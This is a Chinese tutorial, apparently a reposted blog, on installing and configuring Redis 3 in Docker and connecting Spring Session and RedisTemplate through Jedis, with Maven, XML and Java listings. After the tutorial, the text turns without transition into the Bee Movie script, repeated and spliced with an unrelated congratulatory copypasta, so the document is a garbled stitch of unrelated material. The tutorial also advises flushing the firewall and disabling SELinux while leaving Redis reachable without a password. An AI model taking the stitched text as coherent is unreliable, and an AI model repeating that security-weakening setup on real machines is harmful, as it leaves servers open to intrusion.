update显得很重要，要不然你获取的gcc也将不是最新的版本，目前我的gcc为5.3.1为这周刚做的升级。 升级后我们开始编译redis3.0.7了，为此我们需要在redis-stable目录下 键入如下命令： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 make PREFIX=/usr/local/redis1 install 我们告知我们的GCC把redis-stable编译并同时安装在/usr/local/redis1目录下 这个过程很快，可能只有10秒钟时间（依据你的机器来说，建议使用>=8gb, 4核CPU的PC机），然后我们就可以看到everything ok了。我们进入/usr/local/redis1就可以看到我们刚才安装的redis3.0.7稳定版了。 我们进入我们的redis目录 cd /usr/local/redis1/bin 在此目录下我们即可以运行我们的redis server了，不过请别急，在启动前我们需要对redis进行一些配置。 我的博客面对的是“全栈式”工程师的，架构师只是成为全栈式工程师中的一个起点，如果你不会搭环境那么你就不能接触到最新的技术，因此这就是许多程序员工作了近5年，7年结果发觉也只会一个SSH的主要原因。 Redis3配置要领 使用winscp通过122连入docker下的ubuntu14，进行redis的配置。 我们需要编辑的文件为/usr/local/redis1/bin/redis.conf这个文件 [plain] view plain copy 在CODE上查看代码片派生到我的代码片 daemonize yes # When running daemonized, Redis writes a pid file in /var/run/redis.pid by # default. You can specify a custom pid file location here. pidfile "/var/run/redis/redis1.pid" # Accept connections on the specified port, default is 6379. # If port 0 is specified Redis will not listen on a TCP socket. port 7001 我们把: daemonize设为yes，使得redis以后台进程的方式来运行，你可以认为为“server”模式，如果redis以server模式运行的话它会生成一个pid文件 ，因此我们把它的路径放在/var/run/redis目录中，并命名它为redis1.pid文件 ，为此你需要在/var/run目录下建立redis这个目录 端口号我们把它设为7001，这样好辩识，因为将来我们会进一步做redis集群，所以我们的redis都为redis1, redis2, redis3那么我们的端口号也为7001, 7002, 7003。。。这样来延续。那么很多同协这时要问了，“为什么我们不把它命名成master, slave1, slave2这样的名字呢？”，理由很简单，无论是现在的hadoop还是zookeeper它们的集群是跨机房的，多个master间也有MASTER-SLAVE模式互为备份，因为一些大型网站不仅仅只有一个IDC机房，它们一般都会有2个，3个IDC机房，或者是在同一个IDC机房中有“跨机柜”的布署来形成超大规模集群，就和ALI的TAOBAO网一样，它在北美都有机房，因此当你需要在LOCAL NATIVE建一个IDC机房，在北美再做一个机房，你不要想把一个MASTER设在中国，SLAVE设到美国去，而是多地甚至是多机柜都有MASTER，一旦一个MASTER宕机了，这种集群会通过一个叫“选举策略”选出一个节点把这个节点作为当前“群”的MASTER，因此我们的命名才会是redis1, redis2, redis3...这样来命名的。 此处把原来的： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 save 900 1 save 300 10 save 60 10000 中的300 10 和60 10000注释掉。这边代表的是： redis以每900秒写一次、300秒写10次，60秒内写1万次这样的策略把缓存放入一个叫.rdb的磁盘文件中，这点和ehcache或者是memcache很像，以便于redis在重启时可以从本地持久化文件中找出关机前的数据记录。 如果按照默认的话，此三个策略会轮流起效，在大并发环境中，这样的写策略将会对我们的性能造成巨大的影响，因此我们这边只保留900秒写1次这条策略，这边有人会问，如果你这样会有数据丢失怎么办。。。别急，这个问题我们后面会解答，这涉及到redis的“正确”使用，如果它只是一个缓存，我相信5分钟内缓存的丢失此时程序直接访问数据库也不会有太大问题，又要保证数据完整性又要保证性能这本身是一个矛与盾的问题，除非你钱多了烧那我会给出你一个烧钱的配置策略，连新浪都不会这么烧钱，呵呵。 dbfilename，此处我们维持redis原有的缓存磁盘文件的原名 dir "/usr/local/redis1/data"为rdb文件所在的目录 这边大家要注意的是一个是只能写文件名，另一个地方只能写目录名。 为此我们需要在/usr/local/redis1下建立 data目录。 把此处的appendonly设为no，这样我们就关闭了Redis的AOF功能。 AOF 持久化记录服务器执行的所有写操作命令，并在服务器启动时，通过重新执行这些命令来还原数据集。AOF是redis在集群或者是高可用环境下的一个同步策略，它会不断的以APPEND的模式把redis的缓存中的数据从一个节点写给另一个节点，它对于数据的完整性保证是要高于rdb模式的。 RDB 是一个非常紧凑（compact）的文件，它保存了 Redis 在某个时间点上的数据集。 这种文件非常适合用于进行备份： 比如说，你可以在最近的 24 小时内，每小时备份一次 RDB 文件，并且在每个月的每一天，也备份一个 RDB 文件。 这样的话，即使遇上问题，也可以随时将数据集还原到不同的版本。RDB 非常适用于灾难恢复（disaster recovery）：它只有一个文件，并且内容都非常紧凑，可以（在加密后）将它传送到别的数据中心如阿里的mysql异地机房间使用FTP传binlog的做法。 按照官方的说法，启用AOF功能，可以在redis高可用环境中如果发生了故障客户的数据不会有高于2秒内的历史数据丢失，它换来的代价为高昂的I/O开销，有些开发者为了追求缓存中的数据100%的正确有时会碰到因为redis在AOF频繁刷新时整个环境如死机一的情况，并且你会看到恶梦一般的”Asynchronous AOF fsync is taking too long “警告信息，这是因为redis它是单线程的，它在进行I/O操作时会阻塞住所有的操作，包括登录。。。这个很可怕，不过这个BUG/ISSUE已经在最新redis中进行了优化，它启用了另一根进程来进行AOF刷新，包括优化了RDB持久化功能，这也是为什么我让大家一定一定要用最新最稳定版的redis的原因。 一般默认情况下redis内的rdb和AOF功能同为开启， 如果RDB的数据不实时，同时使用两者时服务器重启也只会找AOF文件。 因为RDB文件只用作后备用途，建议只在Slave上持久化RDB文件，而且只要15分钟备份一次就够了，所以我只保留save 900 1这条规则。 如果Enalbe AOF： 好处是在最恶劣情况下也只会丢失不超过两秒数据，启动脚本较简单只load自己的AOF文件就可以了。 代价一是带来了持续的IO，二是AOF rewrite的最后将rewrite过程中产生的新数据写到新文件造成的阻塞几乎是不可避免的。只要硬盘许可，应该尽量减少AOF rewrite的频率，AOF重写的基础大小默认值64M太小了，可以设到5G以上。默认超过原大小100%大小时重写，这边可以设定一个适当的数值。 如果不Enable AOF ，仅靠Master-Slave Replication 实现高可用性也可以。能省掉极大的IO也减少了rewrite时带来的系统波动。代价是如果Master/Slave同时倒掉（那你的网站基本也就歇了），会丢失十几分钟的数据，启动脚本也要比较两个Master/Slave中的RDB文件，载入较新的那个。新浪微博就选用了这种架构。 最后我们不要忘了设一个redis的log文件，在此我们把它设到了/var/log/redis目录，为此我们需要在/var/log目录下建立一个redis目录。 好了，保存后我们来启动我们的redis吧。 我们使用以下这条命令来启动我们的redis server。 然后我们在我们的windows机上装一个windows版的redis 2.8.1 for windows（只用它来作为redis的client端） 然后我们在windows环境下使用： redis-cli -p 7001 -h 192.168.56.101 咦，没反映，连不上，哈哈。。。。。。 那是肯定连不上的，因为： 我们刚才在用docker启动ubuntu14时使用docker -d -p 122:22 ubuntu:ssh //usr/sbin/sshd -D来启动的，这边我们并未把redis服务的7001端口映射到192.168.56.101这台docker主机上，怎么可以通过windows主机（可能windows的ip为169.188.xx.xx）来访问docker内的进程服务呢？对吧，为此我们：先把刚才做了这么多的更改docker commit成一个新的image如：redis:basic吧。 然后我们对docker进行一次大扫除，然后我们启动redis:basic这个image并使用以下命令： [plain] view plain copy 在CODE上查看代码片派生到我的代码片 docker -d -p 122:22 -p 7001:7001 redis:basic //usr/sbin/sshd -D 看，此处我们可以使用多个-p来作docker内容器的多端口映射策略（它其实使用的就是iptables命令）。 好了，用putty连入这个image的进程并启动redis服务，然后我们拿windows中的redis-cli命令来连。 如果在linux环境下还是没有连通（可能的哦），那是因为你没有禁用linux下的防火墙，我们可以使用iptables -F来禁用linux的防火墙或者使用： vi /etc/selinux/config 然后把 SELINUX=enforcing 这句用”#“注释掉 增加一句： SELINUX=disabled #增加 这样每次启动后linux都不会有iptables的困扰了（这是在本机环境下这么干哦，如果你是生产环境请自行加iptables策略以允许redis服务端口可以被访问）。 看到下面这个PONG即代表你的redis服务已经在网络环境中起效了。 下面我们要开始使用Java客户端来连我们的Redis Service了。 使用Spring Data + JEDIS来连接Redis Service Spring+Session+Redis pom.xml 在此我们需要使用spring data和jedis，下面给出相关的maven配置 [html] view plain copy 在CODE上查看代码片派生到我的代码片 <dependencies> <!-- poi start --> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml-schemas</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-scratchpad</artifactId> <version>${poi_version}</version> </dependency> <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>${poi_version}</version> </dependency> <!-- poi end --> <!-- active mq start --> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-all</artifactId> <version>5.8.0</version> </dependency> <dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-pool</artifactId> <version>${activemq_version}</version> </dependency> <dependency> <groupId>org.apache.xbean</groupId> <artifactId>xbean-spring</artifactId> <version>3.16</version> </dependency> <!-- active mq end --> <!-- servlet start --> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>${javax.servlet-api.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>jsp-api</artifactId> <version>2.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <!-- servlet end --> <!-- redis start --> <dependency> <groupId>redis.clients</groupId> <artifactId>jedis</artifactId> <version>2.7.2</version> </dependency> <dependency> <groupId>org.redisson</groupId> <artifactId>redisson</artifactId> <version>1.0.2</version> </dependency> <!-- redis end --> <dependency> <groupId>org.slf4j</groupId> <artifactId>jcl-over-slf4j</artifactId> <version>${slf4j.version}</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <version>${slf4j.version}</version> </dependency> <!-- spring conf start --> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redis</artifactId> <version>1.6.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>${spring.version}</version> <exclusions> <exclusion> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-redis</artifactId> <version>1.6.2.RELEASE</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-orm</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-jms</artifactId> <version>${spring.version}</version> </dependency> <dependency> <groupId>org.springframework.session</groupId> <artifactId>spring-session</artifactId> <version>${spring.session.version}</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>${spring.version}</version> </dependency> <!-- spring conf end --> </dependencies> redis-config.xml [html] view plain copy 在CODE上查看代码片派生到我的代码片 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p" xmlns:context="http://www.springframework.org/schema/context" xmlns:jee="http://www.springframework.org/schema/jee" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:aop="http://www.springframework.org/schema/aop" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"> <context:property-placeholder location="classpath:/spring/redis.properties" /> <context:component-scan base-package="org.sky.redis"> </context:component-scan> <bean id="jedisConnectionFactory" class="org.springframework.data.redis.connection.jedis.JedisConnectionFactory"> <property name="hostName" value="${redis.host.ip}" /> <property name="port" value="${redis.host.port}" /> <property name="poolConfig" ref="jedisPoolConfig" /> </bean> <bean id="jedisPoolConfig" class="redis.clients.jedis.JedisPoolConfig"> <property name="maxTotal" value="${redis.maxTotal}" /> <property name="maxIdle" value="${redis.maxIdle}" /> <property name="maxWaitMillis" value="${redis.maxWait}" /> <property name="testOnBorrow" value="${redis.testOnBorrow}" /> <property name="testOnReturn" value="${redis.testOnReturn}" /> </bean> <bean id="redisTemplate" class="org.springframework.data.redis.core.StringRedisTemplate"> <property name="connectionFactory" ref="jedisConnectionFactory" /> </bean> <!--将session放入redis --> <bean id="redisHttpSessionConfiguration" class="org.springframework.session.data.redis.config.annotation.web.http.RedisHttpSessionConfiguration"> <property name="maxInactiveIntervalInSeconds" value="1800" /> </bean> <bean id="customExceptionHandler" class="sample.MyHandlerExceptionResolver" /> </beans> redis.properties [plain] view plain copy 在CODE上查看代码片派生到我的代码片 redis.host.ip=192.168.0.101 redis.host.port=6379 redis.maxTotal=1000 redis.maxIdle=100 redis.maxWait=2000 redis.testOnBorrow=false redis.testOnReturn=true web.xml [html] view plain copy 在CODE上查看代码片派生到我的代码片 <?xml version="1.0" encoding="UTF-8"?> <web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <!-- - Location of the XML file that defines the root application context - Applied by ContextLoaderListener. --> <!-- tag::context-param[] --> <context-param> <param-name>contextConfigLocation</param-name> <param-value> classpath:/spring/redis-conf.xml </param-value> </context-param> <!-- end::context-param[] --> <!-- tag::springSessionRepositoryFilter[] --> <filter> <filter-name>springSessionRepositoryFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSessionRepositoryFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <session-config> <session-timeout>30</session-timeout> </session-config> <!-- end::springSessionRepositoryFilter[] --> <filter> <filter-name>encodingFilter</filter-name> <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class> <init-param> <param-name>encoding</param-name> <param-value>UTF-8</param-value> </init-param> <init-param> <param-name>forceEncoding</param-name> <param-value>true</param-value> </init-param> </filter> <filter-mapping> <filter-name>encodingFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <servlet> <servlet-name>dispatcher</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>classpath:/spring/spring-mvc.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>dispatcher</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <!-- - Loads the root application context of this web app at startup. - The application context is then available via - WebApplicationContextUtils.getWebApplicationContext(servletContext). --> <!-- tag::listeners[] --> <listener> <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class> </listener> <!-- end::listeners[] --> <servlet> <servlet-name>sessionServlet</servlet-name> <servlet-class>sample.SessionServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>sessionServlet</servlet-name> <url-pattern>/servlet/session</url-pattern> </servlet-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app> 这边主要是一个： [html] view plain copy 在CODE上查看代码片派生到我的代码片 <filter> <filter-name>springSessionRepositoryFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSessionRepositoryFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <session-config> <session-timeout>30</session-timeout> </session-config> 这个filter一定要写在一切filter之前 SessionController [java] view plain copy 在CODE上查看代码片派生到我的代码片 package sample; import org.springframework.session.data.redis.config.annotation.web.http.EnableRedisHttpSession; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * Created by mk on 15/1/7. */ @Controller @EnableRedisHttpSession public class SessionController { @RequestMapping("/mySession") public String index(final Model model, final HttpServletRequest request) { if (request.getSession().getAttribute("testSession") == null) { System.out.println("session is null"); request.getSession().setAttribute("testSession", "yeah"); } else { System.out.println("not null"); } return "showSession"; } } showSession.jsp文件 [html] view plain copy 在CODE上查看代码片派生到我的代码片 <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>showSession</title> </head> <body> <% String sessionValue=(String)session.getAttribute("testSession"); %> <h1>Session Value From Servlet is: <%=sessionValue%></h1> </body> </html> 测试 保证我们的redise-server是启动的，然后我们启动起这个web工程后使用： http://localhost:8080/webpoc/mySession访问一下这个controller 此时我们使用redis客户端工具连入查看spring session是否已经进入到了redis中去。 在redis客户端工具连入后我们可以在redis console中使用keys *来查看存入的key，LOOK，spring的session存入了redis中去了。 再来看我们的eclipse后台，由于我们是第一次访问这个controller，因此这个session为空，因此它显示如下： 我们在IE中再次访问该controller 由于之前的session已经存在于redis了，因此当用户在1800秒（30分钟）内再次访问controller，它会从session中获取该session的key testSession的值，因此eclipse后台打印为not null。 SpringRedisTemplate + Redis 讲过了spring session+redis我们来讲使用spring data框架提供的redisTemplate来访问redis service吧。说实话，spring这个东西真强，什么都可以集成，cassandra, jms, jdbc...jpa...bla...bla...bla...Spring集成Barack Hussein Obama? LOL :) pom.xml 不用列了，上面有了 redis-conf.xml 不用列了，上面有了 web.xml 也不用列了，上面也有了 SentinelController.java 我们就先用这个名字吧，后面我们会用它来做我们的redis sentinel（哨兵）的高可用（HA）集群测试 [java] view plain copy 在CODE上查看代码片派生到我的代码片 package sample; import java.util.HashMap; import java.util.Map; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.context.support.ClassPathXmlApplicationContext; import org.springframework.data.redis.core.BoundHashOperations; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.RequestMapping; import redis.clients.jedis.Jedis; import redis.clients.jedis.JedisSentinelPool; import util.CountCreater; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; /** * Created by xin on 15/1/7. */ @Controller public class SentinelController { @Autowired private StringRedisTemplate redisTemplate; @RequestMapping("/sentinelTest") public String sentinelTest(final Model model, final HttpServletRequest request, final String action) { return "sentinelTest"; } @ExceptionHandler(value = { java.lang.Exception.class }) @RequestMapping("/setValueToRedis") public String setValueToRedis(final Model model, final HttpServletRequest request, final String action) throws Exception { CountCreater.setCount(); String key = String.valueOf(CountCreater.getCount()); Map mapValue = new HashMap(); for (int i = 0; i < 1000; i++) { mapValue.put(String.valueOf(i), String.valueOf(i)); } try { BoundHashOperations<String, String, String> boundHashOperations = redisTemplate .boundHashOps(key); boundHashOperations.putAll(mapValue); System.out.println("put key into redis"); } catch (Exception e) { e.printStackTrace(); throw new Exception(e); } return "sentinelTest"; } } 打开IE，输入：http://localhost:8080/webpoc/setValueToRedis 观察我们的后台 然后使用redis client连入后进行查看 看。。。这个值key=1的，就是我们通过spring的redisTemplate存入进去的值，即使用下面这段代码进行存入的值： [java] view plain copy 在CODE上查看代码片派生到我的代码片 for (int i = 0; i < 1000; i++) { mapValue.put(String.valueOf(i), String.valueOf(i)); } try { BoundHashOperations<String, String, String> boundHashOperations = redisTemplate.boundHashOps(key); boundHashOperations.putAll(mapValue); 如何你要存入一个简单的如key=test value=hello，你可以这样使用你的redisTemplate [java] view plain copy 在CODE上查看代码片派生到我的代码片 redisTemplate.execute(new RedisCallback<Object>() { @Override public Object doInRedis(RedisConnection connection) throws DataAccessException { connection.set( redisTemplate.getStringSerializer().serialize( "test"), redisTemplate .getStringSerializer() .serialize("hello")); return null; } }); 是不是很方便的哈？结束第一天的教程，明天开始搭建redis集群。

According to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because beAccording to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual.You wrote that yourself? wow congrats dude, really, that's very cool. i just told everyone in my family about it, everybody thinks that's very impressive and asked me to congratulate you. they want to speak to you in person, if possible, to give you their regards. they also said they will tell our distant relatives in christmas supper and in NYE they will ignite fireworks that spell your name. i also told about this enormous deed to closer relatives, they had the same reaction. they asked for your address so they can send congratulatory cards and messages. my friends didn't believe me when i told them i knew the author of this gigantic feat, really, they were dumbstruck, they said they will make your name echo through years and years to come. when my neighbour found out about what you did, he was completely dumbstruck too, he wanted to know who you are and he asked (if you have the time, of course) if you could stop by to receive gifts, congratulations and handshakes. with the spreading of the news, a powerful businessman of the area decided to hire you as the CEO of his company because of this tremendous feat and at the same time an important international shareholder wants to sponsor you to give speeches and teach everybody how to do as you did so the world becomes a better place. you have become famous not only here but also everywhere, everybody knows who you are. the news spread really fast and mayors of all cities are setting up porticos, ballons, colossal boom speakers, anything that can make your name stand out more and see which city can congratulate you the hardest for this magnificent feaes don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small 